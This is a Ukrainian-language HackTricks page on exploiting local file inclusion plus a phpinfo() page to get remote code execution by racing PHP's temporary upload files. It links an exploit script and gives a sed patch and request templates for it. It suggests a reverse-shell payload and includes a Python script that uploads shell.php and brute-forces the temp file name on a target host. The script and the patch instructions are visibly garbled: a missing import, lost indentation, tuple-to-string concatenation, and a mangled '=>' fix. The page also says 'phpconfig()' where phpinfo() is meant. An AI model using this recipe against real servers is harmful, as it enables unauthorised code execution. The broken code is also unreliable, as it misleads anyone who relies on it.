LFI2RCE via phpinfo()

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари

Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом. Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.

Щоб експлуатувати цю вразливість, вам потрібно: Вразливість LFI, сторінка, на якій відображається phpinfo(), "file_uploads = on" і сервер повинен мати можливість записувати в директорію "/tmp".

https://www.insomniasec.com/downloads/publications/phpinfolfi.py

Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s

Вам потрібно виправити експлойт (змінити => на =>). Для цього ви можете зробити:

sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py

Вам також потрібно змінити payload на початку експлойту (наприклад, для php-rev-shell), REQ1 (це має вказувати на сторінку phpinfo і містити заповнення, тобто: REQ1="""POST /install.php?mode=phpinfo&a="""+padding+""" HTTP/1.1), та LFIREQ (це має вказувати на вразливість LFI, тобто: LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r -- Перевірте подвійну "%" під час експлуатації нульового символу)

Теорія

Якщо завантаження дозволено в PHP і ви намагаєтеся завантажити файл, цей файл зберігається в тимчасовому каталозі, поки сервер не закінчить обробку запиту, потім цей тимчасовий файл видаляється.

Тоді, якщо ви знайшли вразливість LFI на веб-сервері, ви можете спробувати вгадати назву тимчасового файлу, що створюється, і експлуатувати RCE, отримуючи доступ до тимчасового файлу до його видалення.

У Windows файли зазвичай зберігаються в C:\Windows\temp\php

У linux назва файлу зазвичай випадкова і розташована в /tmp. Оскільки назва випадкова, потрібно витягти звідкись назву тимчасового файлу і отримати до нього доступ до його видалення. Це можна зробити, прочитавши значення змінної $_FILES всередині вмісту функції "phpconfig()".

phpinfo()

PHP використовує буфер 4096B, і коли він повний, він надсилається клієнту. Тоді клієнт може надіслати багато великих запитів (використовуючи великі заголовки) завантажуючи php зворотний shell, чекати, поки перша частина phpinfo() буде повернена (де знаходиться назва тимчасового файлу) і намагатися отримати доступ до тимчасового файлу до того, як php сервер видалить файл, експлуатуючи вразливість LFI.

Скрипт Python для спроби брутфорсити назву (якщо довжина = 6)

import itertools
import requests
import sys

print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)


print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text:  # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)

print('[x] Something went wrong, please try again')

Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари

Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом. Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищувати привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.

Вчіться та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Вчіться та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Last updated